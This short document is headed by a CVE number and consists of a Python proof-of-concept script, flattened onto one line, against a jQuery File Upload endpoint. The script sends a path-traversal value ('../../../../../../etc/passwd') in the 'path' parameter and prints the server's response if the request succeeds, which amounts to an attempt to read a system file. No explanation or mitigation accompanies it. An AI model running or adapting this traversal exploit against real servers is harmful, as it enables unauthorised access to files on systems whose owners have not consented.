CVE-2019-25579

import requests target_url = "http://example.com/jQueryFileUploadmaster" # Vulnerable parameter: path # Using traversal sequences to escape the upload directory params = { "path": "../../../../../../etc/passwd" } try: response = requests.get(target_url, params=params) if response.status_code == 200: print("Vulnerable! File content:") print(response.text) else: print(f"Request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")

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